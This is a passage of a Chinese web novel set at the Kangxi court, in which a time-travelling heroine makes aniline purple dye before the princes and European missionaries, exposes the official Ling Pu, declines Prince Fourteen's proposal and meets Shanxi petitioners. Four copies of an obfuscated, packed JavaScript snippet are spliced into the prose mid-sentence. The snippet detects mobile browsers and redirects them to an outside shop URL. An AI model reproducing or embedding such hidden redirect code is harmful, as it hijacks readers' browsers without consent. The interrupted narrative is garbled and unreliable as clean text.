十四阿哥踹了一脚不过瘾还想再踹,被一旁的八阿哥拉住了,“十四弟,正事要紧。” 还没开始就又骂又打的,四阿哥微微皱眉,心下暗自摇头。 依他看来,沈姝这张嘴当真是肆意的很! 寻常女子,哪个是这般模样? 若是没个依靠,就她这性子,怕不是早就受到了教训。 虽然心里是这么想的,但四阿哥瞥了一眼凌普,却是毫不犹豫的选择了拉偏架,“凌大人,有什么话可待演示之后。” 然后又看向沈姝,“沈姑娘,请尽快。” 沈姝知道十四阿哥与八阿哥他们会想要趁机收拾凌普,毕竟是立场之争,所以才会先骂一句出出气。 可没想到十四阿哥会为了她直接动手,这很粗暴。 但她喜欢! 瞥了一眼打不还手的凌普,再对比他对自己的态度,沈姝不得不感慨身份的重要性。 “好。” 她点点头,带着众人走向火炉之处。 演示,要先从提炼煤焦油开始。 “请看,这是其中的一种原料,石碳。” 沈姝介绍着,六子则是捧着一捧黑煤让大家查看。 查看完之后,又当众将材料投入火炉中。 剩下的就是加热等待,等煤焦油的形成。 然后是硝石、绿矾等的初步处理,沈姝都一一亲自动手。 看到长桌上这些奇形怪状的玻璃器具,四阿哥觉得甚是眼熟。 这不正是那日在眼镜店沈姝要定制的那些吗? 原来这东西是做此用途! 四阿哥不识货,但这四个洋人传教士见多识广,看到沈姝使用这些很快围了上来。 他们被邀请时听说的是观看一种紫色染料的制作,这种染料的制作并不是什么秘密。 比如紫色在欧洲是从紫螺中获取,在大清国,是从草木中得到。 说实话,他们对此并不感兴趣。 但实验就不一样了,这很神秘! “噢,我没有看错,这个是烧杯。” “美丽的沈女士,请问您是在做实验吗?” 沈姝知道这个时代的传教士,并不仅仅只懂传教,多多少少还知道点儿科学知识。 这正是她想要的效果,给自己的技术找个合适的源头。 “是的,我正在做合成紫色染料的实验。” 听沈姝这么说,洋人们都很好奇,因为这眼看都不是在用紫螺或者什么草木做实验。 如果能成功,这就是一种全新的紫色染料制作方法! “噢上帝,您说的是真的吗?” “当然。” 沈姝笑着介绍苯胺紫的特性,“这种染料较之普通染料鲜艳浓重,水洗不褪色……” 眼看着沈姝被洋人围绕,仿佛众星捧月,凌普的脸色变得难看,心里忽然有种不祥的预感。 因为从一开始,就出乎意料之外。 他以为原料不过是紫草等,结果任何紫色的物品都没有看到。 石碳、硝石等这些他知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782348|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,可仅凭这东西能制作出紫色? 打死他都不信! 可这些洋人是什么意思? 实验是什么,他真的不懂! 难道、难道真的有这种配方? 凌普也凑上前来,不过他是想仔细看看到底是怎么做的。 聪明如沈姝,当然不会认为凌普凑过来是想做什么好事。 “凌大人,可要看仔细了,省得想学学不会!” “你……满口胡言!” 被人一语道破暗藏的心思,凌普气得想杀了沈姝。 可十四阿哥就在这里,他不敢造次。 若是寻常人被如此讥讽,早就一甩袖子不看了。 但凌普强忍怒意不肯走开,他还没看懂,看不懂怎么让人学会。 学不会怎么给这该死的女人泼脏水? 沈姝暗笑一声,没有再搭理凌普。 随便他怎么看,真以为看看就能学会? 她不是没有使保密手段,原料只是介绍了最显眼的那些。 烧杯里的无色透明液体,看起来是水。 实际上是多少浓度的溶液,只有她自己知道。 四阿哥见状朝十三阿哥轻声嘱咐了一句,“提醒下十四弟的人,让他们看着点儿,别让凌普传递出去什么消息。” 凌普以为自己的心思很隐秘,实际上沈姝一开始就猜到了。 毕竟后世各种专利技术泄露的小故事太多了,比如什么领带不小心蹭到了东西之类的。 相比之下,凌普的举动就显得蠢多了,连四阿哥看见都能猜得出来。 十四阿哥是听了沈姝的话,想过来阻止凌普,“你这狗奴才,凑这么近莫不是想要使坏?” 凌普知道今日这事要是办不好,他不会有什么好果子吃! 所以被骂也没有退缩,而是硬顶着说道:“十四爷可是看到奴才做了什么?” 十四阿哥冷笑一声,“爷看着的时候你自然不敢,看不住的时候可说不好!” 言罢,他吩咐道:“来人,给爷盯紧他,莫让他趁机使坏!” 四阿哥看着这一幕,没有出声阻拦。 除非十四阿哥太过分,不让凌普观看,其他的他不会多管。 不过他看的真切,十四阿哥对沈姝是上心的。而沈姝对十四阿哥,想必也是有一番情意。 否则那日,又怎会做出主动拉手的举动? 扫了一眼与洋人侃侃而谈的沈姝,那不卑不亢的模样,神采飞扬。 四阿哥心里隐隐有些羡慕,羡慕十四阿哥能得如此佳人青睐…… 一旁的八阿哥、九阿哥还有十阿哥三人看了看这些实验器皿,说实话是真不太相信沈姝能用什么石碳、硝石之类的东西折腾出来紫色染料。 若是之前就说要用这东西制作出来紫色,他们绝对不会相信,这简直是闻所未闻! 哪怕是现在,也变得将信将疑。 可看这些洋人的反应,又感觉似乎有戏。 洋人的某些东西,确实是神奇。 等待的时间有些长,除了凌普和看守他的人。其他人都去外面庄子里溜达了,包括沈姝。 她很放心的让凌普在这里使劲儿的看,就让他好好感受一下什么叫做无计可施的煎熬! 12. 第 12 章 看着奇形怪状的玻璃器具看原料,看了一遍又一遍,越看越烦躁。 如果这真是制作紫色染料的方法,凌普觉得自己完蛋了! 他可是知道,玻璃厂就洋人建成的。 直到现在,烧制玻璃时,至少十之五六都不成。 这玩意要是没有人手把手的教,根本不可能学会! 即便手把手的教,都未必学的好。 三个时辰后,沈姝从外面进来时就发现凌普的脸色难看了不少。难看就对了,接下来她要开始分离煤焦油。 一时间,旁观的众人只见身穿褐色麻衣还戴着麻布手套、玻璃眼镜的沈姝在用玻璃器具中的东西处理一团黑色粘稠的东西。 至于这黑色粘稠的东西,据说是从石碳得到的。观其色,确实像,可黑色怎么可能变成紫色? 到傍晚时,烧杯中只剩下一层黑色物质。 这种看起来黑的物质,就是苯胺紫,只不过显色还需要再加入乙醇。 放下器皿,沈姝抬头朝四阿哥问道:“天色不早了,剩下明天一早再继续如何?” 四阿哥还没有说话,凌普却不愿再等待,随即冷哼一声,“沈氏,你勿要在本官面前故弄玄虚! 怎么,现在不继续难道是有什么难言之隐?” 这些乱七八糟的工序已经让他烦躁不已,而且折腾了一天,压根就没有看到什么紫色。 他怀疑沈姝是想趁夜来一出狸猫换太子的戏码,前面那些不过是障眼法。 “你这狗奴才……” 凌普一开口找茬,十四阿哥就想收拾他。 这狗奴才一而再再而三的对她的女人出言不逊,简直是找打! “十四弟!” 而四阿哥不想看他们闹起来,因为这只能添乱而于事无补。 他先是阻止了十四阿哥,然后又朝沈姝道:“沈姑娘,如果可以的话,越快越好。” 说实话他不赶时间,但什么事情都怕夜长梦多,倒不如一气呵成。 “好。” 沈姝点点头,看来四阿哥急于完成任务。 想要显色,直接加入乙醇即可。 很快沈姝用两罐烧酒提纯酒精之后加入烧杯,随着乙醇溶液的浸润,在不甚明亮的烛火中,肉眼可见的紫色缓慢从黑色东西中溢出。 越来越多,直到整个烧杯中全部都是。 “噢上帝,真的紫了,简直是太神奇了!” 几个洋人先是惊呼出声,虽然他们看了一天,所有步骤都没有略过,但现在依然难掩惊奇之情。 十四阿哥见状松了口气,这还是他第一次亲见。之前沈姝在庄子上忙这些,他只是让六子跟着听差遣,自己并没有一直跟着。 毕竟他一个大男人,总不能什么都不做的一直跟在女人身后。 八阿哥、九阿哥还有十阿哥他们则是忍不住上前仔细看过之后,惊叹一声,“好浓郁的紫色!” 四阿哥看了一眼凌普,见他脸色灰败,显然是没有想到还有这种闻所未闻的技艺。 眼见众人都围着在看,凌普高喊一声,“慢着,这还不算。作为染料,必须要能浸染不褪色方可!” 沈姝闻言点点头,“凌大人这番提醒倒是没错,也好让你看个真切。” 说着她朝六子吩咐,“麻烦取块丝帛过来一试。” 接着又转向众人解说了苯胺紫的染料特性,“这种染料,只能浸染丝帛及毛料,不能染棉麻。” 很快六子便拿过来几片剪成小块的未上色丝绸,在众人的注目下放入烧杯。 接下来就是单纯的等待,等待上色。 这就是沈姝想等到次日的原因,染色已经不算是合成工作了。 四阿哥见状说道:“不早了,诸位可先用饭。” 然后大家都去吃饭了,除了凌普,他实在是没有心情。而是留在这里盯着烧杯中的丝帛,十四阿哥的人一直在盯着他。 一个时辰后,用过晚饭的众人又回来了。 见六子听从沈姝的吩咐用竹夹将染红的丝帛取出来,十四阿哥看着凌普高声吩咐道:“来人,速去多打几桶水,让凌大人亲自动手试试看到底能不能洗褪色!” 说罢又朝四阿哥道:“天色已晚,四哥应该不急于交差吧?” “不急,明日不晚。” 强行逼迫凌普浣洗,四阿哥知道这就是赤裸裸的报复。 即便不洗,凌普也得跟这几桶水一起过夜。 不过他没有阻止,是否褪色这事还是由凌普这个污蔑者亲自验证更好。 另外一个原因是他知道沈姝对此乐见其成,因为她心眼小爱记仇。 四阿哥都不做声,其他人自然更不会管这些。 夜里,众人都留宿在庄子上。 八阿哥、九阿哥、十阿哥还有十四阿哥四人聚在一起商讨如何借机扳倒凌普。 他们并没有喊上四阿哥与十三阿哥,而这二人则是在一起闲聊今日之事。 “这位沈姑娘,当真是不简单!我怀疑她就是在故意激怒凌普,借着十四弟的手来报复。” 十三阿哥甚至怀疑沈姝是不是跟凌普有仇,不然怎么会如此大胆,不停的挑衅。 而且还觉得她利用了十四阿哥的怜香惜玉之心,故意刺激凌普,引的十四阿哥为她强出头。 四阿哥心道,挑衅凌普算什么? 他绝口不提自己被气到半夜睡不着的事,而是重提十三阿哥被逼道歉的那茬儿。 “十三弟你怕不是忘了白云寺的事情,她这性子啊……” 说着四阿哥停下来,摇摇头没有再说下去。 至于十四阿哥借机打骂凌普,他觉得那只是男人想在女人面前逞英雄的小心思罢了! 一提到这茬儿十三阿哥就接连摇头,“这女人,忒泼辣!不过我看十四弟颇为受用。” 顿了顿又道:“她这次可算是帮了八哥的忙,想必八哥他们正在算着怎么才能趁机挤掉凌普这个内务府总管。” 现在四阿哥不想要谈论这些,他淡淡的说道:“随便他们怎么斗,这临时的差事算是可以交代了。” 这事算凌普倒霉,不过他觉得仅仅靠诬告一事,未必一定能怎样。 毕竟这事可大可小,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782349|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要看皇上是否想要追究下去。 十三阿哥笑了笑,没有再说什么,他只是来看热闹的。 这一夜,除了沈姝睡的踏实。 其他人,包括那几个洋人,都聚在一起开始商量。 次日一早,是检验最终结果的时刻。 看到众人进来,一直看守着凌普的六子故意笑嘻嘻的问道:“哎呀凌大人,这一夜都过去了,您看是您把东西捞出来呢,还是小的来呀?” 六子也是在故意恶心凌普,也就在刚开始时凌普还揉搓了几下染好的紫色绸缎,不多时他就把东西摔进了水桶里,直到现在还在里面泡着呢! 但肉眼可见的,水中的紫色依然明亮,水依然清澈。 这还用捞出来看吗? 四阿哥看了一眼,直接吩咐:“捞出来看看。” 六子见状伸手把绸缎捞出来拧干,双手递了过去,“四爷您看,与之前交给八爷的一模一样。” 四阿哥接过来反复检查了一遍,发现确实没有褪色的痕迹,而且这个颜色较之以往看到的任何紫色都明亮鲜艳。 抬眼了看了一下有些狼狈的凌普,四阿哥刚想说话,就见旁边的洋人朝沈姝露出了异常热情的笑容。 “尊敬的沈小姐,您制作的颜色实在是太漂亮了!相信我们的陛下和教皇也会喜爱,请问能不能请求您卖一些染料给我们?” 紫色在欧洲是皇室和权力的象征,昨天夜里他们几个就在商量要真是不褪色,就必须要抓住这个好机会。 因为此时的欧洲依然是在用紫螺染色,并且染出来的颜色跟眼前的绸缎相比,差远了! 这种颜色要是进献给教廷和皇室,必定是大功一件! 没想到这些洋人居然还是潜在的买家,沈姝刚想点头答应,结果旁边的八阿哥见状却是快步走了上来。 “诸位,此乃我们大清国的皇室贡品,若是想要给你们,需得上书请求皇上恩准。” 原本还觉得仅凭诬告不是太有把握搞掉凌普,没先到这些洋人居然主动掺和进来,八阿哥脸上的笑意已经快要溢出。 沈姝:“……” 面对八阿哥的突然介入,她微微皱眉,心里不太舒服,却识相的保持了沉默。 这种时候,不能直接跟八阿哥起冲突。 因为十四阿哥只是面带笑容,并没有表示反对。 显然,他们都觉得这很正常。 “噢噢噢,这样啊……” 洋人们看了一眼沉默不语的沈姝继而转向八阿哥,“那贵国的皇帝陛下能否恩准,还请八皇子您美言几句。” 八阿哥笑呵呵的承诺:“诸位放心,今日我便会上书奏请。皇上一向重视与番邦之友谊,想必会慎重考虑。” 以往番邦之国进贡有玻璃器具等,现在回赠予一些微不足道的染料而已,料想皇上不可能拒绝。 这么一来,染料之事就扯上了国家大事。谁想要轻轻放下,都不行! 很显然,八阿哥还想拿洋人的事情做筏子。可沈姝其实更想赚钱,只是看起来无论是八阿哥还是十四阿哥,都更倾心于争权夺利。 13. 第 13 章 验证之后的当日,先是四阿哥面奏了调查结果。紧接着是八阿哥不仅上奏了洋人的请求,还要求追究凌普的诬告之罪。 康熙甚至都有点儿怀疑洋人这事是不是四阿哥与八阿哥的合谋,这也太凑巧了! 凌普是太子的人,他知道。 八阿哥一直与太子争抢,他当然也知道。 康熙没有直接说要如何处置凌普,而是亲自召见了四位洋人,结果这几人言辞间对这种紫色染料赞绝于口。 看样子不似作伪,番邦之国的皇室确实是热衷于紫色,所以直接应允了他们的请求。 说实话这颜色,确实足够惹眼,让人心喜。可原本只是想敲打一下十四阿哥这个儿子,结果反倒是要褒奖这位沈氏女。 康熙心里蛮不舒服的,于是喊四阿哥过来问话,“老四,你见过沈氏,说说那沈氏人如何?” 四阿哥觉得皇上之所以问这个,应该是在考虑十四阿哥的请求。 他知道十四阿哥请赐沈姝入旗籍的目的是什么,心里微微有些难言的情绪,然而也不可能因此而故意说她的不好。 但也不能明显的夸赞,否则容易引起怀疑,故而回道:“回皇阿玛,沈氏擅长西洋之技,对染料颇有研究。” 康熙听罢之后转而又问了一个问题,“胤祯正为此女请赐入旗籍,你认为朕该不该恩准?” 这个问题是一种试探,谨慎如四阿哥,立刻开始考虑这个问题的目的是什么? 可他真的摸不准皇上到底是想赐籍还是不想赐籍,出于某种微妙的心思,他并不愿意见十四阿哥得逞。 但也不能直接表达自己的意见,故而垂首又把问题踢了回去,“儿臣对沈氏并不了解,是否赐籍由皇阿玛圣断。” 康熙对这个回答显然不太满意,直接斥道:“身为兄长,你总该多了解一下胤祯!他是怎么想的?” 莫名其妙的被训斥,四阿哥此时品出来点儿味。十四阿哥怎么想的,为什么求赐籍,这不是明摆着的吗? 所以皇上这是不愿意? 尽管是这么想的,四阿哥还是如实说道:“儿臣观十四弟对沈氏颇为照顾,若是皇阿玛应允,他应该会高兴。” 康熙没有再继续追问下去,而是说道:“沈氏确实有功,这样吧,赏赐她黄金百两。对于匠人来说,如此赏赐已算不薄。” 随即又摆了摆手,“你下去传旨吧。” “嗻。” 四阿哥已经明白皇上对沈姝的定位是匠人,所以根本不愿意赐她入籍。 虽然十四阿哥的目的如他所愿的落空了,但心情却有些复杂,因为皇上显然是看不上沈姝这般的人…… 收到十只可爱的金色小元宝赏赐,沈姝很高兴。终于有钱了,还是自己挣的! 现在住在十四阿哥府中,除了制作苯胺紫所需,她没有问十四阿哥主动要过钱。 伸手要钱这事,她实在是不想做。 而十四阿哥看到只有百两黄金的赏赐而没有其他,心中失望不已。 好事成双,如果皇上同意赐入旗籍,正常的话会同赏赐一起,可现在却没有。 尽管皇上是没有直接拒绝,但很多事情不回复就等于是拒绝了。 正是因为懂这个道理,所以十四阿哥才会不高兴。 他想不明白为什么? 入旗籍而已,自己的请求又不是非要入满军旗的上三旗,哪怕是汉军旗也行。 现在这样,十四阿哥没有去问原因,他不想因此而惹皇上生气。 尤其是眼下还有凌普的事情要解决,在这个节骨眼上,入籍这事反而是要搁置,以后再找合适的机会。 不过这事,十四阿哥还没有想好怎么跟沈姝说。主要是怕她失望生气,因为自己承诺的事情暂时没有做到。 其实,不仅是这件事。 还有另外一件事,结果也不如人意。 那就是弹劾噶礼的事情,两位御史被罢官,而噶礼毫发无损。 这两件事情叠加起来,十四阿哥觉得沈姝应该会比较失望。 又过了数日,凌普终于因为贪墨而被查抄,这算是大快人心的好事。 十四阿哥的心情好了许多,说起来这算是沈姝的功劳。 他花钱置办了一套贵重的头面,希望能讨她开心,然后再谈迎她入门的事情。 这件事,他实在是不想再等了。 “阿姝,喜欢吗?” 看着十四阿哥手中的匣子,里面是一套看着就价值不菲的首饰。 沈姝有点儿头疼,这东西她不能收。 男人送女人首饰,无论在任何时代,都只有一种意思。 她随之垂下眼帘,低声推辞,“这……太贵重了,民女配不上……” 十四阿哥不乐意听这话,拉住她的手说道:“阿姝,莫要妄自菲薄。如果连你都配不上,还有谁配?” “民女……” 沈姝正在斟酌拒绝的话语,就听十四阿哥又说道:“抱歉阿姝,本想借机求皇阿玛赐你入旗籍,可一时半会儿的怕是不成。 我保证一定会继续再想办法,所以我们先圆房好不好?” “啊?” 一听到圆房这两个字,沈姝差点儿跳起来,她想抽回自己的手,却被十四阿哥紧紧的攥着。 不行了,这次必须要把话挑明了说。 否则,应付不过去。 沈姝想着,染料一事上自己应该算是帮了十四阿哥的忙,希望他不要过于生气。 于是一咬牙直接说道:“十四爷您贵为皇子,民女如何能高攀得起? 民女觉得皇上许是也这么想的,所以……” 只是话没说完就被十四阿哥打断了,“我知道这样委屈你了,可是阿姝,你的位份以后我们还有机会。” 他觉得但很多事情都是此一时彼一时,日后未必没有转机,再说皇上的心思也不是一成不变的。 沈姝见状不得不把话说的再明白些,这次依然还是用了报仇的借口。 “十四爷,民女喜爱研究西洋技艺,不愿囿于内宅。您也知道民女的性子其实并不好,之前还曾与福晋闹得不愉快。 若是进了门,难免会再起龃龉……” 只是话还没说完,又被打断了。 十四阿哥觉得沈姝还在计较之前的事情,于是保证道:“不会的,我不会让她欺负你。 再说你喜欢研究那些染料,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782350|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不反对。说起来这次多亏有你,八哥才能除掉凌普!” 看起来好好说不太行,沈姝不得不开始多方位找茬,“福晋是当家主母,民女进门之后仅仅只是一贱妾而已。 十四爷您也不可能日日夜夜都陪在民女左右,如何能保证得了? 再说女子一旦嫁人,即便无人刁难,生产时亦是需闯鬼门关生死难料。 不怕您笑话,民女是贪生怕死之人,并不愿意去赌运气。 至少在祖父大仇得报之前,民女不能死。 十三爷您的救命之恩,民女没齿难忘,日后必会报答。” 这次十四阿哥没有打断沈姝,而是听完了,只是他的脸色很不好看。 在此之前,他一直都以为沈姝只是想以此为借口求自己帮她报仇,没有想到他做了这么多她还是不愿意。 于是松开了手,沉声道:“你到底是不愿意跟我还是不信任我?” 被松开后沈姝立刻就跪在了地上,真是人在屋檐下,不得不低头,该跪还得跪。 这次十四阿哥没有伸手阻拦,她知道,他生气了。 她确实是既不愿意也不信他! 沈姝觉得自己提出来的这些问题都是客观存在的,而十四阿哥并没有给出来任何具体的解决方案,顶多也就是画了个饼而已。 她不是那种画饼就能充饥的人,可这话当然不能直接说。 “十四爷,民女确实是有所顾虑,若是因此惹您生气,要打要骂……” “够了!” 十四阿哥突然猛的拍了一下桌子,他很生气! 什么“要打要骂”? 难道自己在她心里就是这种人吗? 十四阿哥此时是既生气又郁闷还烦躁,身为皇子,还是第一次被中意的女子拒绝。 这滋味过于新鲜,新鲜到很不好受。 他低下头想看看沈姝,可她也低着头。 只能看到她乌黑的麻花辫子,而看不清楚表情。 深吸几口气,十四阿哥抬起头来微闭双眼复又睁开,然后才站起身来。 起身时时因为力度过大,还把圆凳子带倒在地,发出“噗通”的响声。 瞥见摔倒的凳子,沈姝依然一动不动的垂头跪在地上,她在赌十四阿哥的人品。 十四阿哥站起来后没有再说什么便直接离开了,他要静静,好好想想应该怎么办? 因为沈姝虽然出身贫贱,但并非寻常女子,他不会因为被佳人拒绝就轻易放弃。 接连几天,十四阿哥都没有再过来找她。 沈姝长舒一口气,终于是又应付过去一次。 她还是想趁机看能不能搬出去,住在这里实在是不太方便,也不舒服。 应该是跟十四阿哥闹翻了的缘故,这几日连丫鬟都开始刁难她了,每次端来的饭都是残羹冷炙。 沈姝不知道这事是谁示意的,也不在乎。 现在她有钱,直接拿着自己的黄金就出门了,才不在这里受欺负。 这反倒是一个搬出去的好机会。 既然十四阿哥不喜欢用染料赚钱,那就算了,但她喜欢。 必须要设法赚钱,否则以后怕是连饭都吃不上! 14. 第 14 章 这几日没有再去庄子上制作染料,六子也没有跟着,不过不影响出门。 带着一锭金色小元宝出了门,沈姝先是去钱庄兑换成银锭子,才开始自行溜达。 紫色已经专供皇室,想使用这个颜色在民间开染坊估计容易惹出麻烦事。 再加上这个颜色原本就是沈姝为了报答十四阿哥才制作出来的,所以赚钱的话,她不打算直接用这个颜色。 煤焦油可以合成的染料还有其他,可以继续开发一下。 她的打算是想要开一个染坊卖布,所以市场调查对象主要是各大布庄和丝绸店,看看现在的织染颜色都有哪些。 接连看了几家店铺发现这个时代红黑黄绿青这些颜色很常见,不过色彩的丰富程度远不如后世。 毕竟后世一个色系的色卡多的能高达几十种,颜色十分丰富。 对于颜色上,沈姝觉得自己可以试试。 不过开染坊并不是化学实验,她没有任何经验。这事还不急,先把染料弄出来再说。 眼下比较急的事情是先找一个合适的住处,然后想办法从十四阿哥府中搬出来,所以看完店铺之后沈姝打算去找牙行询问租房子的事情。 不得不说,在四九城里逛街,若是没有代步工具确实有点儿累。 坐在茶棚里歇脚喝着一文钱一碗的大碗茶时,沈姝听到隔壁桌上的三个人在说话。 这里是茶棚,又不是包间。 别说是隔壁桌,就是隔壁的隔壁说什么,其他桌都能听到。 其中一人道:“大哥,咱们在京城这一个月,身上的钱都花光了。 现在袁大人和蔡大人又被罢官,这几天我们去找其他御史的门路,可是人家直接就把我们轰出去了……” 另外一人怒道:“那我就去敲登闻鼓告御状!” 又有人急声劝阻:“大哥万万不可啊!越诉之人,要枷号一个月还要杖一百,那是不要命了啊!” 那人又道:“就算舍得一身剐,我也要把噶礼这贪官酷吏告下马!” 听到噶礼的名字,原本正在听闲话的沈姝直接转过头看向隔壁桌,然后站起身来走了过去。 之前她并没有从十四阿哥这里得到弹劾的最终结果,现在听这三个的话音,弹劾失败了? “三位大哥,可是山西人氏?” “你是何人?” 这三人见沈姝过来,上下打量了她几眼,这貌美如花的女子,他们不认识啊! “不瞒大哥说,小妹乃山西平阳人。” 听沈姝这么说,这三人居然不相信,其中一人说道:“莫要诓骗我们,你一点儿山西口音都没有!” 好吧,沈姝承认自己前世不是地地道道的山西人,但现在是啊! 不想再纠缠口音的问题,她直接说道:“我的祖父沈明远是平阳的秀才,虽然人已不在。但诸位若是不信,自可去打听一番。” “沈明远?” 听到这个名字,其中这个络腮胡子激动的站起身来,“你说的可是那个在县城里开私塾的沈老先生?” “正是。” 沈姝点点头,祖父沈明远确实是一位私塾先生。 “哎呀大妹子,啥都别说了,哥哥信你!” 络腮胡子见状连忙伸手拉过来一条板凳,还用袖子擦了擦朝沈姝说道:“妹子你快坐下来说话,不瞒你说我幼时曾在沈先生这里读过书。 只是后来我不争气,没能考取功名! 沈老先生可是位大善人啊,减免过不少贫家弟子的束脩。” 老乡见老乡,这位络腮胡子显然有点儿激动,说完这些又问道:“可是妹子你怎么会来京城,还有沈老先生他什么时候不在的?” 终于提及正题了,沈姝说道:“我与三位大哥进京的目的一样,去年秋天噶礼在平阳作恶,我的祖父便是因此而死……” “竟是连沈老先生也糟了毒手?” 络腮胡子一听,先是有些惊讶,后又沉默下来。遭殃的人,何止这些? 见对方沉默,沈姝问道:“方才我听你们说弹劾的御史被罢官了?那噶礼……” 其中一人恨声道:“那王八蛋当然是毫发无损!如此为非作歹的恶官居然都没人管,依我看那皇帝老儿就是个……” 昏君两个字还没吐口,就被络腮胡子厉声打断,“顺子,莫要胡言乱语!” 沈姝听了有些失望,之前十四阿哥确实说过噶礼的背景,也提前打过预防针说是弹劾未必能成,结果现在果然不成。 说实话她暂时还没有什么好办法,人有远近亲疏,掌权者若是执意要包庇关系户,又能怎么办呢? 沈姝问向络腮胡子,“大哥,我刚听你们说要去告御状?” 络腮胡子面带茫然的反问了一句,“御史们都不愿再弹劾,除了这个法子还能怎么办?” 沈姝的想法没有如此乐观,御史都弹劾不了的,告御状就一定能行? 她摇摇头,“若是告御状也行不通怎么办?君子报仇十年不晚,大哥你还是不要莽撞,再想想其他办法。” 旁边的人见状随之劝道:“是啊大哥,咱们不能再因为告状把命折进去啊! 家里还妻小,若是咱们都回不去了,家里可怎么办?” 想到家里的人,络腮胡子也犹豫不决,不知道告御状到底能不能成? 毕竟不是全家死绝了,就剩下他一个,可以无牵无挂。 “可咱们的祖业难道就这么拱手交出去,我不甘心啊!” 络腮胡子的眼中闪过挣扎之色,继而又决绝起来,“不行,既然有登闻鼓,我要去试试,就不信这天底下当真没有王法了!” 他态度坚决,另外两个人怎么都劝不动,何况沈姝这个外人? 她没有劝说而是掏出来两锭银子说道:“这二十两,是小妹我的一点儿心意。小妹我不如大哥你敢拼命,但也希望你能够成功。” “这、这可使不得!” 见沈姝居然直接送钱,络腮胡子连忙推辞,“我们几个大男人,怎么好意思用妹子你的私房钱?” 见他不肯接,沈姝把银子放在木桌上,“收下吧,咱们是同乡,又同仇敌忾都想扳倒噶礼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782351|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我不是在帮你,而是在帮自己。” 十四阿哥办不成这事,她不想抱怨,但并不想轻易放弃。现在团结目标一致的同乡,支援点儿银两不过是举手之劳。 络腮胡子看了看桌子上的银锭子,最终还是没有继续拒绝,而是拍着胸脯保证道:“你放心妹子,甭管这事成不成,钱到时候我一定还你!” 因为他们是真的缺钱,要是不拿这两锭银子,明天就得被房东扫地出门。 京城的花销实在是太大了,再加上家产被夺,原本他们身上就没有多少钱。 钱送出去后,沈姝又问:“对了,你们在哪里落脚?” “我们在口袋胡同从西数第七户,原本是在这里短租了一个月,结果……” 说着络腮胡子摇摇头,“看来还得再留一段时间。妹子你呢,来京城可是投亲?” 沈姝现在能报出来的住处当然只能是十四阿哥府,她叹了口气,“其实我原本也是想进京告状,不过途中遭遇歹人被十四爷所救,所以现在落脚在十四阿哥府。” 见这三人瞪着眼睛看向自己露出希冀的目光,沈姝苦笑一声,“我已经求过十四爷了,可惜……” 络腮胡子嘴唇微动,终究是没有开口去提让她多求求十四阿哥的话。 见身边的兄弟想说话,他连忙瞪了几眼制止住了。 沈姝知道想说话的人想说什么,无非是要让她去求十四阿哥。 但络腮胡子看得出自己的为难之处,这样的人,能处。 出门在外靠朋友的道理沈姝懂,没有朋友就要主动结交,所以临走之前她说道:“你们若是有什么事,可以去十四阿哥府找一个叫六子的人,就说是找我的。 小妹我人轻言微,但能帮上的忙绝对不会袖手旁观。” “我丁炳先定不忘沈妹子今日之恩,多谢!” 络腮胡子抱拳相送,其他二人也一并。 沈姝走远后,其中一人才朝络腮胡子说道:“大哥,既然沈妹子是十四爷的人,咱们为何不让她多去求求情,说不定……” 话还没说完就被络腮胡子打断,“不可!若是求情真的有用,难道她不愿为沈老先生报仇? 她心里已经够苦了,咱们又何须再去为难一个弱女子!” 说完他看着桌子上的银锭交代道:“银子收起来吧,才第一次见面沈妹子就施以援手,定是刚才听到了你说的咱们手头紧。 她与沈老先生一样心善,咱们帮不上人家的忙也就罢了,怎么能再添麻烦? 你们两个给我记住,不要去找她!” 其实沈姝倒是希望这三个人能来找找自己,这样她可以了解一下告御状的进展,也可以趁机看看能不能再去求求十四阿哥。 对于十四阿哥,沈姝希望两个人之间的关系是合作关系。 比如他帮她帮仇,她可以帮他夺嫡。 但目前看来,十四阿哥明显不是这么想的。 沈姝去牙行交了点儿钱,让牙人去帮忙寻找住的地方,然后就回去了。 